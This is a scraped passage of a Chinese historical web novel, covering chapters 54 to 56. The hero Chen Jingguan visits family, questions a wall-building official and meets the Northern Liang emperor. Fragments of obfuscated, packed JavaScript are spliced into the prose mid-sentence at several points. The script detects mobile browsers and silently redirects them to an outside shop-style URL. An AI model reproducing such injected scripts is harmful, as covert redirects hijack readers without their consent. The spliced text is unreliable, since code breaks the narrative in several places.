l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14439450|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开了他挡在面前的双手。 “好,我什么也不说,你向来主意最正。” 陈京观闻言笑得眯上了眼,而在离他不远的地方,江秀正朝他挥手,他远远地举了一躬,江秀便又进了厨房。 “她问过平海的婚事,我不知道怎么说。” 宁渡顺着陈京观的目光聚焦在江秀身上,陈京观没做声,摆了摆手走下台阶,朝厨房的方向去了。 “你怎么能来这种地方,这里油烟大,等会要沾你一身的。” 看见陈京观进来,厨房里唠着家长里短的婆婆妈妈们都噤了声。 虽说陈京观是她们瞧着长大的,可毕竟他成了掌着生杀大权的人,她们与他之间也就隔着一层看不见的屏障。 而江秀凭着平家兄弟的关系,算是她们中公认能与陈京观说上话的,她瞧着气氛不对,连忙将手上的白菜放下,刚想推脱陈京观,又觉得这动作不合适,便一边说着一边用衣服把手上的水擦净,最后小心翼翼地拉了一下陈京观的袖子。 “我小时候能来,现在怎么就来不得了?我记得我第一道会做的醋炒白菜还是您教我的。” 陈京观说着就要上手去切菜,可江秀的动作比他还快,立刻拦住了他的动作,又屈身继续说道。 “现在是少将军了,该有些威仪。” 江秀说话时一直低着头,等说罢,她就屈膝朝陈京观行礼。 一阵没由来的难受突然间涨满了陈京观的气管,他呼吸之间只剩下满满酸涩。 “那如若我以后失势了,”陈京观说到这,江秀想要伸手去捂他的嘴,却被他轻轻握住了手,“您便不管我了么?” 江秀闻言忙摇头,眼眶却渐渐红了,她努力在嘴角抽出一抹笑容,陈京观想给她擦泪,她却扭头避开了,别过脸说:“你看吧,我说这里油烟大,都呛得我想哭了。” 陈京观顺着她的话点头,但还是固执地接过了江秀手里的菜刀,很利落地将案板上的菜切好。 “许久不见,刀工更好了。” 江秀斜倚着灶台,她看陈京观时眼里满是欣慰。 陈京观笑着应他,但两双眼睛对上的一瞬,陈京观觉得,她看到的是平海。 “我们在阙州城都是四个人轮着做饭,谁也没荒废了这手艺,尤其是平海,他学了一道糖醋排骨,可好吃了。” 陈京观说着又低下了头,他见江秀不言语,就停顿了一下继续说。 “可惜我们不能都回来,阙州总要留个人守着。那两个小的我不放心,平海是最好的人选。” 陈京观这番话江秀其实已经听过许多遍了,可此时的她依旧笑着应道。 “待在阙州好啊,他爹拼了一辈子才进去过一次。” 说完,江秀稍稍背过身去擦掉了脸上的眼泪,收拾着准备把白菜下锅。 “您别担心,过几年我就张罗着给他俩寻亲事,定当找个才貌双全的大家小姐。” 陈京观说完,江秀手里的菜也落了锅,蒸腾着的热气迷了他的双眼,他只觉得氤氲一片。 恍惚间他听到江秀应了自己一声,可是他没听清,再问时,江秀就笑着把他推出了厨房。 今年的年是这几年陈京观过得最热闹的一个,当然,也满是幸福。 他心里对于自己的选择的怀疑,随着身边人的开怀大笑消减了几分。 若说遗憾,唯一余下的只有平海没能看到这一切。 54.阳关三叠(二) 大年初六,雍州的百姓慢慢从新年的氛围里抽出身,开始思谋着新一年的生计问题。 一大早,昌用商行的大门就被结伴而来的两人叩响了。 “少将军,我宗某来给您拜年了!我想着你好不容易回来,该是想要和家人团聚的,我就留着弗老弟在我府上住了几日,替你招待招待,就是不知道我们雍州的饭他吃不吃得惯。” 大门被平芜打开,宗毓庆的声音就响彻了整个院子,他平日就是个大嗓门,不过他外形圆润,酷似佛祖,倒是也让人讨厌不起来。 说起来他自从接任了雍州知州后其实收敛了许多,要放在从前,他根本不会敲门。 陈京观闻声将自己的卧房门打开,随手抓了一件外衣披在身上,宗毓庆看见了就立马将他往屋子里赶,自己也毫不客气地跟了进去。 “外面积雪还没化,就你的小身板可别冻坏了,倒时候宁兄又得说我。” 宗毓庆进来就自己找了位置坐,倒是他背后跟着的男子一路上都沉默寡言,此时立在门口进退两难。 “想必您就是弗行远前辈?切莫客气,我昨夜和师父喝了些酒睡到现在,您别嫌我礼数不周。” 陈京观说罢示意门口的平芜去厨房吩咐加菜,而他自己将披在肩上的衣服穿好,跑到宗毓庆面前毫不犹豫地拍了他一把。 “宗叔!带了客人进我的卧房,也就你能做出来。” 宗毓庆嘴里正品着陈京观从景州带回来的茶,被他的动静吓了一跳,茶水连带着茶叶一起顺到了胃里。 “你小子如今做了大官,还真摆起架子了,?料想你当日跑到我门上求我帮你筹粮,你可满是可怜样。” 宗毓庆作出一副吹胡子瞪眼的表情,陈京观知道他在调笑自己,就连忙跑到他面前卖乖。 说到筹粮,陈京观是应当要感念宗毓庆一辈子恩的,毕竟当时他还是个名不正言不顺的草莽,可宗毓庆丝毫没有犹豫,甚至拿了他自己的商行去为陈京观打包票,这才让陈京观寻到了广梁的救命粮。 不过宗毓庆也不亏,前朝的进士混不出名堂,却意外得了个当朝的知州。 他当然也不是个傻的,他知道除却民意所致,陈京观在萧霖面前也说了他不少好话。 “行了,人给你送到了,我就先走了,你婶子在家等着给我量尺寸做衣裳,她说我最近又胖了。” 宗毓庆说着,把茶杯里的茶一饮而尽,陈京观知道他的小心思,就跑到里屋拿了一包没开封的茶叶给了宗毓庆。 “宗叔如果觉得喜欢,不妨试着下次从景州采买,没有关隘那道手续,便宜不少呢。” 宗毓庆毕竟也是做了这么久生意的人,他知道陈京观的言外之意,他手里挥了挥茶叶应了一声,就由着平芜将自己送出了门。 “许久没和宗叔见面了,免不得多聊了两句,让弗郎中久等。” 等着宗毓庆离开,陈京观看了一眼默不作声的弗行远,向他做了个请的手势,弗行远就识相地随他去了昌用的正厅。 只是刚迈进屋子,弗行远就因为惶恐险些摔倒在门边,陈京观倒不太在意他的状态,自己寻了个位置坐下,拍了拍自己旁边的椅子。 “莫站着了,郎中请坐。” 弗行远如今三十好几,好不容易混到了工部营缮司郎中的位置,每一步他都走得胆战心惊,他家中没有势力,他也深知自己不是个聪明的,所以察言观色就成了他最熟练的本领。 刚才陈京观和宗毓庆说话时,弗行远一直来回瞧着眼前的两个人,也幸好他们无暇顾及自己,这才没发现他因紧张而渗出的汗。 “少将军太客气了,直呼我大名即可。” 弗行远的声音带着点颤抖,他走过去坐到陈京观旁边,陈京观笑着应了一声,随后也不再说话,房间里突然一片死寂。 “那个,”片刻后弗行远终究是忍不住了,他缓缓侧身对着陈京观,“少将军对于城堑修筑也有研究?” 陈京观笑着摆手,答道:“我门外汉一个,我不过是借机回来过个年,这不是进了阙州城很难再抽出空回家了嘛。” 听了陈京观的答复,弗行远好像松了一口气,他绷直的背缓缓卸下劲儿,双手交叠放在腿上。 “边交城堑修了七八年了,我们原是与北梁合意共同修建的,所以工程量不算大。前几年难在西芥不太平,而北梁的部分,他们也多有懈怠,这才耽搁了些时日。” 弗行远嘴上汇报着城堑的修建进度,可那双眼睛却一直想要从陈京观的表情里寻到些反应,见陈京观听闻“西芥”时有所触动,弗行远就顺着继续说。 “不过少将军如今和西芥的当权者交好,想必您出面,这工程定当能如约交付。” 陈京观闻言挑了挑眉,眼角处抽搐了一下,弗行远霎时间就意识到了自己的失言,连忙起身给陈京观赔罪。 “少将军是为南魏着想才深入西芥腹地,换得我雍州贸易的新局面,如此行事当然是以国为重。可奈何您人好,大家都愿意卖给您面子。” 弗行远的话说得好听,陈京观就抬手把他扶了起来,示意他继续坐着说话。 “郎中刚才提到北梁多有倦怠,所谓合意?” 弗行远听着,脸上面露难色,但见陈京观没有就此打住的意思,就压低了声音说道。 “北梁向来凭着昌安军行走天下,他们不怕西芥的骑兵。当时皇上派我与他们洽谈合作时,他们本无意参与的,要不是西芥不知从何处得到了北梁的营防图,我们不见得能谈得下。” 营防图,陈京观突然想到了江阮。 当日江阮轻车熟路带着他去了恪多的营地,他怀疑过其中缘由。 在打掉遏佐后,沁格与他谈起过恪多与江阮的关系,他那时才知道他们之间还有这样的渊源。 不过这件事情居然发生在七八年前,那时的江阮,应该才不过十五。 看陈京观像是陷入了回忆,弗行远就在一旁等着他,直到陈京观缓过神来开口问。 “那北梁方面如今是何态度?” 弗行远摇了摇头,发出一声无可奈何的叹息。 “当时遏佐还在时北梁或许还能有所顾忌,如今忽兰上任,毕竟还是年轻气盛,北梁皇帝不会将他放在眼里的。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陈京观没答话,但是伸着手搂过平芜的肩,身边的人如今也是十六七了,几年的奔波让他褪去了少年气,这肩膀也能扛得起事了。 “可是被牺牲掉的人也会这么想吗?” 平芜沉吟片刻,缓缓摇头。 “不会,毕竟死去的是至亲,只有我们才能体会到切肤之痛。”说到这,他顿了一下,“但我们该认清究竟谁才是敌人。” 说罢,平芜朝着陈京观灿烂一笑。 “昨日母亲与我说起你与哥哥,她说若没有你,我们注定要被困在雍州的一片天地里。她说父亲没做成的事,希望我们能做成。” 陈京观偏过了头,半晌后才点头道:“会的,一定会的。” 他二人又在城墙上站了一会,终究是太阳落了山,因为太冷才准备着往回走。 “少将军!可寻到你了。” 陈京观刚露出个头,那长阶下来找他的兵士就迎了上去,陈京观扶着墙走下,那兵士二话不说就拉着他往回跑。 “先把话说清楚,怎么了?” “陆小爷来了,带着北梁皇帝的旨意来的。” 55.阳关三叠(三) 陈京观与平芜赶回家时,听见正厅里宁渡和陆栖野聊得热火朝天,看见他进门,陆栖野立刻笑着朝他招手。 “你还真是和谁都能说得上话。” 陈京观嘴里打趣了一句,陆栖野有些腼腆地绕头,而宁渡见他回来了,就默契地同陆栖野行礼告别。 “说吧,你们那位有什么打算?” 陈京观将随手脱下的大氅搭载椅背上,又用帕子擦了擦眉毛上雾气凝结成的水珠。 “大年初一,宛达切断了岭扬江上游。” 闻言,陈京观手上的动作一怔,他继续抚着眉心,脸上却透露出若有所思的神情。 “你没收到消息也正常,毕竟你也刚回来没多久,而且如今是枯水期,你广梁的影响不大,可我北梁澎州的百姓就指望这条江了。” 许久不见,陆栖野因为禹州的高海拔被晒黑了许多,不过他生来白净,现在黑上一些倒显得更健康了。 而这一年的历练,也让他说话时少了几分意气,多了几分悲悯。 陈京观点头表示理解,示意陆栖野继续说。 “我知道你此次回来主要是为了城堑一事,可此事若继续任由其发展,势必会影响到广梁。你先是广梁的少将军,才是南魏的少将军。” 陆栖野说得恳切,可这其中又有些让陈京观不太明白的深意,他觉得陆栖野不可能不信自己,可陆栖野这番话说出来了,定当有他的道理。 “你觉得我会坐视不管?” 陆栖野没说话,慢慢将头低下去了。 “你该是最了解我的,怎么你也会怀疑我?” 陆栖野继续沉默,他这反应让陈京观更是好奇,他伸手戳了一下陆栖野的胳膊,眼前的人就侧过头看了他一眼。 “大家都说,你现在是萧霖的人。” 陆栖野说罢,那高大的身形缩作一团。 其实他的话并不让陈京观觉得意外,以他现在的表现,他在世人眼中无疑又成了父亲的模样。 可也只有他真走到这一步,他才知道父亲这个纯臣做的有多不易。 “所以你也不信我?” “我该信你什么?” 陆栖野抬起头盯着陈京观,片刻后又开口道:“信你,还是原来的陈京观吗?” 陈京观点头,倒是陆栖野叹了一口气,许久之后才听他小声说了一句“信”。 “那你为何还会怀疑我?” 陆栖野顿了一下,说:“真到了那个位置,我知道有多少身不由己。我不怕你不做,我是怕你做了,却毁掉你这两年来的所有努力。我的质疑,是问我自己该不该成你的阻碍。” 闻言,陈京观的笑容僵在了脸上,可还没等他回话,陆栖野就继续说道。 “其实你选择哪条路我都理解,当你在为广梁四处筹粮的时候我就知道,你想要的不只是报仇了。你想去陈伯父去过的地方看看,想看看你能不能改变些什么。其实现在的你,更让我觉得我的信任是值得的。” 自己的心事被陆栖野一览无余,陈京观这时才知道自己的掩饰有多么拙劣。 他早该想到的,他是陆家的儿子,怎么会轻信一个来路不明的人,又怎么敢轻易把昌安营训出来的人交给自己。 不过他们是从何时知道他是陈频之子的,又是谁先发现的。 “如今八年前的罪魁祸首你已经铲除两个,那下一个呢?是萧霖还是崇宁?” 陈京观抿着嘴,他不算将自己对萧霖的看法讲给陆栖野听,因为他并不觉得自己看透了萧霖。 他们只是由时间将彼此推到如此的境地,陈京观没说完的话,他相信萧霖也没有。 不过他唯一能确定是,萧霖一定不是自己最大的敌人。 见陈京观不说话,陆栖野也不再追问,他又将话题转回了宛达身上。 “当时你联合沁格与忽兰围剿遏佐,在宛达的眼里,你与蒋铎无异。只是他如今被沁格打压,他能寻到的只有切断岭扬江的方法。他这个动作,是复仇的信号。” 陆栖野的话,陈京观何尝不明白,可此刻他突然意识到了一件事。 这也是蒋铎和崇宁非要自己死的原因。 斩草除根,以绝后患。 只是而今的自己,也要放一把火去断绝未知的危险吗? “那元衡是何意?” 陈京观问道,而陆栖野慢慢将手放到了自己的咽喉处,作出灭口的动作。 “仅凭昌安营,足以消灭宛达手下残留不多的势力,你们没必要寻我的帮助。” 陆栖野缓缓摇头,道:“可昌安营单方出兵,这将升格成我们与西芥的战争,我们又成了侵略的一方。” 陆栖野的话说得很清楚,陈京观也就明白了他真正的来意。 “你希望我出面说服忽兰和沁格,让他们以内部争端的形式解决宛达?” 陆栖野闻言点头,可他看得出陈京观脸上的犹疑。 “此事与我们三方均无害,忽兰可以趁机收掉宛达的封地,不然他也是养虎为患。而你可以除却宛达来寻仇的可能,至于城堑,”陆栖野顿了一下,“我可以说服皇上配合你们。毕竟现在南魏有了你,他也不算是高枕无忧。” 陆栖野说这话时语气波澜不惊,甚至在提到北梁皇帝元衡时他的语气并不算好。 陈京观瞟了他一眼,可陆栖野装作若无其事的样子,避开了陈京观的视线。 不过他对于陆栖野的建议,依旧是不置可否的态度。 “如若你觉得以我今日的身份还不足以敲定此事,姑母说请你去一趟赋阳宫,她会安排你与皇上见面。” 陈京观摆手止住了陆栖野的话。 “你我之间何时需要论及身份了?我不是不信你,我是不信一切能在那皇位上稳坐半辈子的人。那高位的空气,就算是熏染,也足以在不知不觉间让人非人。” 陆栖野没有反驳陈京观的话,不过这也从侧面证实了陈京观的担心。 陆家,应当与元衡有了隔阂。 “明日城堑复工,你容我去交代两句,我再随你去一趟澄州。” 陆栖野应了声好,陈京观就安排人收拾间屋子让陆栖野住下。 当晚,陈京观试图从旁打听陆栖野的心事,但毫无意外,他依旧巧妙的岔开了话题。 不过他倒是坦白了自己是从何处得知陈京观的身世。 “那一日嫂嫂回门,哥与她在林伯父家住了一宿,第二日他回来后与父亲聊了很久,随后父亲就叫我去了书房。你那袋饴糖,算是试探吗?” 陈京观闻言轻点了一下头,陆栖野就继续说。 “可你为何选择先告诉林伯父?” 其实这个问题陈京观一开始也问过自己,他本来是没有答案的,可苏晋说了一句“我怕连累你”, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14465666|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让陈京观想明白了自己这么做的原因。 连累,这个字眼真的如千斤重。 他每次看到霜栽,都会觉得有愧,那林均许呢? 他的那封信是一切事情的起源,纵使他本意绝非如此,可阴差阳错间,他也成了陈频之死的推手。 陈京观希望告诉他自己还活着,希望林均许再想起父亲时,能少一些愧疚。 “你父亲与你说了些什么?” 陈京观没有正面回答陆栖野的问题,反而抛出了新问题给他。陆栖野也没在意,答道:“他说我若想和你做好兄弟,有些事情我该知道。他不觉得这是隐瞒,但是他觉得这可能会成为你我之间关系的隐患。” 一时间,陆晁那张不苟言笑的脸又出现在了陈京观面前,他与其他人不同,他是真正的行伍出身,但握着刀的人更懂得人心,他更明白当日的陈频是何等境地。 他要让陆栖野绝对信任陈京观,也是以此让陈京观看到自己的诚意。 不过他这么做,陈京观觉得不止于此。 “那你没有怪我又瞒了你?” 陈京观没有问出心里的疑惑,反倒是眼巴巴凑过去,陆栖野回了他一个白眼,伸手拍了他的脑袋。 “那你以后还会瞒我吗?” 陈京观笑着摇头,陆栖野便有些得意地笑了。 之后他二人扯东扯西聊了些无关紧要却又想要让彼此知道的事,等陈京观回房休息时,那月亮的清辉都有了日光的影子。 第二日一早,还没等陈京观出门,弗行远倒是先来寻了他一趟。 “少将军,今年是陛下定的最后一年工期,我们势必要赶在入冬前完工了。” 陈京观点头应了一声,弗行远就继续说:“这是新一批需要采购的砖料,还有去年要结清的工钱。年前我上书去户部要银子,他们说年跟前紧张发不出来,如今年过完了,那些工匠还没领到钱。” 说罢,弗行远递上来一本账册,那上面详细记载着每里所用工料和人力费,也登记了砖窑和工匠姓名,算得上是无巨细。 陈京观握着册子翻了两页,大概看了眼最后的总账,那数字看起来合乎情理,况且刚出了茶税案,如今大家对账册都越发谨慎,不该有人蠢到此时动这歪心思。 “好,我会上折子去催,最近有一笔进账,他们没理由再推脱了。” 陈京观说的是关家充库的那部分。 当时因为在年关,户部借由说本年的入库银子都统计完了,若再把这部分加进去还要重算,而后又推说人手不够,便把那些钱财都搁置了。 如今初七照例要开始上朝,量他们也寻不到理由再作托词。 “对了,我那日去城堑看了,整体修筑得还算完备。不过那台阶冬日易结冰,恐怕日后将士们巡防要遭罪,你让师傅们重新弄弄,务必保证安全。” 弗行远应了一声“好”,伸手把册子要了回来,借口说要去参州的砖窑买砖,便行礼告退了。 “我有句话不知当说不当说。” 陆栖野冷不丁开口,他望着弗行远的背影,表情中暗含不明其意的思忖。 “你也觉得他有问题?” 陆栖野闻言点了点头,陈京观拍了拍他的肩膀以示宽慰。 “既然他亲自来了,那城堑我也不用再去了。”陈京观抿了抿嘴,“让他再藏一会儿,真正的狐狸尾巴藏不住。” 56.阳关三叠(四) 不知是不是真有轮回,一年前陈京观在正月末离开,如今他又在正月末回来。 他临走时托了宗毓庆和宁渡替自己关照弗行远,实际上是每周一封信向他汇报城堑的情况和弗行远的动向。 弗行远的确言行一致,他那日从昌用离开后就带人去了参州,约莫一个月就走了个往返。 他定制砖料的厂商陈京观查过,确实是当地有名的老字号,不过参州因为土质的原因,许多人都是靠烧窑烧瓷发家的,至于弗行远为什么最后选了这一家,陈京观没有太在意。 过去八年皆是如此,萧霖也不仅派过他一个监工,他不信一件事能埋八年而无人察觉。 此外,他此行带了董辉而留下了平芜,想着是让他多陪陪江秀,可平芜闲不住,便每日都去城堑处跑一趟。 他虽没受正式的官职,可是在旁人眼里他就是陈京观的眼睛,那些工匠做起活来一改往日的疲沓,每日点卯都来知会平芜一声。 二月初,陈京观在澄州的客栈稍作整顿后随着陆栖野去了赋阳宫。 陆栖野一改往日的作风,只字未提要带他去家中,他这般异常,倒是让陈京观心中的谜团愈加清晰。 此时,陈京观站在赋阳宫外抬头看着宫墙环绕的重重巍峨。 北梁的建造模式与南魏有所不同,更偏向于借助自然地形优势创造天然屏障,故而赋阳宫所在的位置算不上这北梁最好的土地,可是它巧妙之处在于临山而不靠山,层叠之间少了险峻多了连绵。 这倒是让陈京观想到了那日在益州寻找乾清观的感觉。 借助天势制造人势。 “走吧,我们先去姑母的宫殿。” 陆栖野说罢就向守卫的兵士亮出了陆家马场的腰牌,席英本意要在外面等着,可陆栖野觉得天冷,就让她一同入了宫。 “我北梁与你南魏不同,我们与天子的距离,是天地所致,故而秉承欲将齐天,自将登顶的道理。没有人会拦着你,可能不能上去,要看你自己。” 陆栖野这番话陈京观在很久以后才明白,而此时的他看到的是元衡不同于其他上位者的姿态。 四个人由内侍带着进了宫,中间又换了一波人领着,他们越往里走,周遭的温度就越高,空气中的水汽蒸腾着,目光所及之处全是江南才见的亭台楼阁。 蜿蜒的小溪自高处而来,由地势带来源源不断的动力,它摇动着四散的水车发出“哗哗”的响声,再加之日头高升,水雾就慢慢扰乱了他们的视线,将他们眼前的景观幻化成虚影,让来者如临仙境。 这才是赋阳宫选址此处的原因。 高山让人望而生畏,可你若敢进来,便会发现里面是琼浆玉液,水帘洞天。 “当时始皇帝在此建造赋阳宫,其实看中了此处嵌在山间的二十七道温泉,在苦寒之地寻到上天所赐的温暖,这是天命所致的象征。” 陆栖野看旁边的陈京观有些出神,就缓缓开口解释道。 “或许也是因为根基在于天,我们才会如此羡慕你们能拥有苏扬那般的文学大家。他这般的人,才该是立国的根本。” 陈京观没有说话,只是若有所思地点头。很快,他们被带到了一处狭长小道。 “陆少主,这之后的路奴才就不进去了,皇后娘娘不喜生人。” 那引路的内侍托着手朝陆栖野行礼,陆栖野道了句“辛苦”,等着内侍走远,他就跑到队伍最前头,一手用刀拨开挡在面前的绿植,一手扶着山体防止打滑。 这条路不算长,可走到一半的时候眼前只剩下羸弱的一丝光亮,透过阴暗潮湿的环山,引着他们向前,难免让人心生压抑之感。 “陆娘娘为何选在此处?” 陈京观随着陆栖野的步子往前,而他面前的人闻言轻笑一声,有些无奈地叹了口气。 “她希望谁也不要来打扰她,毕竟我们走了这么长时间还没到,这也能说明她的心思。” 陈京观应声笑了,转头时无意看到身后的董辉,他手扶着墙,下颌紧紧绷着显得有些紧张。 “怎么了?” 陈京观察觉出董辉的异常,便开口问道,董辉摇了摇头说了声“没事”,倒是陆栖野接上了陈京观的话。 “董叔当时是先随着姑母出征的,姑姑很看重他。可自从姑母出嫁后,他们再也没见过了。相较于我们,他更明白少时姑母的爽利。” 陆栖野最后选择了“爽利”这个词,陈京观觉得他收敛了,当他从那一线天通过后,眼前便出现一个女子。 她穿着平日寻常百姓家女子下地时的衣裤,袖子被绑在肩膀处,陈京观他们出现时还没说话,那女子就对着他们做了个噤声的手势,下一秒就跳到草堆里逮到一只兔子。 “姑母。” 陆栖野毕恭毕敬地行礼,陈京观就学着他的样子做,喊了一声“陆娘娘”。 “你们来的时辰刚好,我的小厨房刚来报今日有新鲜的竹笋,我让他们存了冬日的腌肉,刚好能做腌笃鲜。我估摸着你们还没吃过吧。也是,就东亭那边喜好这一口。” 陆韶怜不似传闻中一般有不可接近的感觉,她的飒爽只在于行事时的果决,面对眼前的这几个小孩,她更多的是长辈的慈祥。 “你为什么会怕她?” 陈京观眯着眼低声问陆栖野,陆栖野连忙拍了一把他的手,然后笑脸盈盈跑过去接住了陆韶怜怀里的兔子。 那小团子虽说刚在草地里滚过,可是身上的毛依旧洁白鲜亮,不同于它在陆韶怜怀里时的活泼性子,它到了陆栖野手里倒乖顺了起来。 “果然它们还是更喜欢你。” 陆韶怜说着拍了拍手上的灰,她身后的侍女就帮着她把衣袖整好,又给她套了一件外衫。 “走吧,别站着了,屋里有猴魁,我早上刚泡的。” 说罢,陆韶怜刚想转身进屋,突然定睛到了陈京观背后的人,此时的董辉有些踟蹰,犹豫再三才上前道了一句“皇后娘娘千安”。 “你也来了啊。” 董辉“嗯”了一声,陈京观听到了他嗓子里的抑住的情绪。 “今日若不是焕儿去了重山冬训,他见到你也准高兴。“ 陆韶怜说完不自觉地叹气,陆栖野将怀里的兔子交给侍女后搂过了陆韶怜的胳膊,低声安慰道:“没事,煜儿还在。” 陆韶怜拍了拍陆栖野的手没说话,而陆栖野转头示意陈京观跟上。 这顿饭大家吃的各怀心事,只有陆韶怜看起来十分很高兴,她知道来人的意图,但是席间却没有提到分毫,直到收席之时她才叫住了陈京观。 “少将军此去切记不要谈论与陆家的旧情。” 陆韶怜说话时眼睛里闪过一丝冷光,陈京观顺势点头应了一声,能让陆皇后说出这样的话,此事非同小可。 “你与小野同去,将他们留在这吧。” 陆韶怜说着又望向席英,朝她伸出手去,席英有些不知所措,陈京观就示意她迎上去。 “你是少将军的副将对吧,席间我见你一直没说话,也是冷美人呢。” 陆韶怜笑了一声,席英就稍稍红了脸,低下了头。 “你与我小时候很像,但我希望你只是你,永远都只是你自己。” 席英没太明白陆韶怜的话,她只是半知半解地点头,可陈京观意识到了什么,他拉着陆栖野同陆皇后行礼告辞,等刚出了宫门就叫住了陆栖野。 “元焕去了重山?” 陆栖野点头,他知道陈京观大致已经猜到了些什么,便应道:“最近朝堂上立储之事议论纷纷,而父亲与林伯父也备受非议。皇上为了平息态势,让元焕和哥哥带了兵去了重山冬训。” “是何缘故?” 陈京观继续问,而陆栖野摇头道:“还记得我和你说过的孔肃吗?他如今官至御史中丞,掌管御史台一应事物,我觉得他最近不太安分。” 陈京观微微皱眉,那个在陆栖川大婚时他远远瞥过一眼的黑影出现在他脑海中,可他还是觉得疑惑。 “若是你家与林家都没把柄,他也做不了什么。” 陆栖野闻言露出苦笑,他看了一眼陈京观,说:“到他们那个位置,任何一个选择都会成为对手的把柄,不过就是看有没有人在意罢了。” 陈京观长出一口气,缓缓点头对陆栖野的话表示认同,随后二人便朝着赋阳宫正殿去了。 若说陆韶怜的宫殿修得偏僻,那这正殿则更胜一筹。 当时陈京观在宫门只能看到最高峰,他还想过这要怎么上去,等他到这大殿门口时,他再回头望,他脚下看不到来时的路,却能看到他当初在所在的位置。 “你上来的每一步,都叫通天道。” 陆栖野嘴上说着,抬眼瞧了瞧眼前漆红色的大门,那一丈高的阴影此时将他们包裹,两旁的卫兵手持尖刀,个个目不斜视却又让人觉得寒意四起。 只是直到他们走到大门口,依旧没有人来迎接。 “这就是为何要让你先去见姑母。” 说罢,陆栖野示意陈京观在此处等一等,而他快步上前叩响了门栓,一会就看到有人从大殿后面绕了出来。 “张公公,有劳了。” 陆栖野朝着来人轻轻点头,那位看上去很有地位的内侍应了一声,然后抬手将门栓转了个方向,轻轻一推,原先紧闭的大门缓缓敞开。 “陆少主请。” 那内侍说罢又看了一眼站在后面的陈京观,缓缓向他作出一个请的手势。 “终于见面了,陈京观。” 刚跨进门槛,陈京观甚至没看清眼前的景象,那大门就在他们身后合上,一个沉闷的声音在他头顶随即响起。 陈京观侧过身看了一眼陆栖野,陆栖野朝他微微点头。 “在下南魏少将军陈京观,参见陛下。” 说罢陈京观恭腰行礼,而他感觉到有人慢慢从堂上走了下来,他的脚步很轻,以至于直到阴影笼罩的前一刻,陈京观依旧没有察觉到他的到来。 “年少有为,是你南魏之幸事。不过我只认我朝的陆少将军,故而称你姓名,可否?” 元衡说罢抬手扶起了陈京观,陈京观直起身后依旧低着头道:“我比不得陆家少将军,自当让贤。” 元衡笑了笑,将陈京观引到了旁边的位置上。 “你倒也是个爽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14479981|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快之人,那我们有话直说?” 元衡说话时朝陈京观走了两步,他与萧霖是截然不同的两种人,从他第一句话开始,到他接下来的一举一动,陈京观觉得若说萧霖是目空一切,那元衡就是捉摸不透。 自从进到这大殿的那一瞬,陈京观就觉得元衡一直在看着自己。 “栖野该是和你说清楚了,你这一趟来,是为了亲自从我嘴里得到个承诺是吗?” 陈京观点头道:“毕竟城堑才是我此来之主要目的。” 元衡闻言脸上的笑意更浓,他点了点头,刚才那个内侍就跑了过来。 “传旨下去,全面推动城堑防御的进程,配合南魏在限期内完成。” 那内侍原俯着身子,现在领了旨意便小跑着出了殿门。 “可还满意?” 元衡勾着嘴角,陈京观刚要起身道谢却被他按在了位置上。 “那我的事情,你能办吗?” 不得不说,元衡是一个很厉害的君主,他是高位的那个,可他先放低了姿态应了陈京观的请求,此时陈京观若不应,倒显得有些不识抬举。 “恕我直言,宛达一事,陛下是直接获益者,而我与西芥,我们的危险都还是未知数。” 陈京观此话一出,只见元衡面无表情的形态出现了一丝裂痕,他点头应道:“是啊,所以呢?” “那陛下若要谈成此事,是不是也该给我些与西芥谈判的筹码?” 元衡一听这话,脸上倒是浮起笑容。 “也就是说,你愿帮我,不过你还帮不成?” 陈京观轻轻点头表示默认,而元衡的笑意渐浓,他皱着眉头故作思索,片刻后突然转过身问了一句:“是帮我,还是出于私交?” 元衡的话正应上了陆韶怜的警醒,陈京观对这位陆皇后的敬佩之情愈甚。 要说旁人在那位置上,势必也要生出八面玲珑心,可一般人做不到如此妥帖,陆韶怜真的是世间少有的聪明人。 陈京观叹了一口气,笑着答道:“我说过,我是为城堑一事来的,自始至终,都只有这一个目的。” 元衡的表情显得出他的怀疑,但是他开口之时却语气笃定。 “好,我愿意信你。不过凭你对西芥那位年轻首领的认识,你觉得他会提什么条件?” 陈京观沉默了一会,说道:“彻底划清界限,保证其在位时,永不相交。” 元衡自然明白陈京观的意思,当时恪多是使用了手段才换来了岭扬江的控制权,而自己对于此事耿耿于怀至今。 他自己也明白,这才是他如此在意宛达的原因。 不过要说起来,其实岭扬江自古以来就是西芥的母亲河,他们不愿意割舍也在情理之中。可那时的北梁是荒无人烟之地,如今澎州的镜湖靠那片水源充盈,北梁的在意也不无道理。 事情发展到这个地步,俨然是公说公有理婆说婆有理,陈京观没心思去替他们断官司,他能做的只是寻一个让自己全身而退的方法。 “你果然很善筹谋。” 元衡没有直接回答陈京观的话,反倒是故作思量地称赞了他一番。 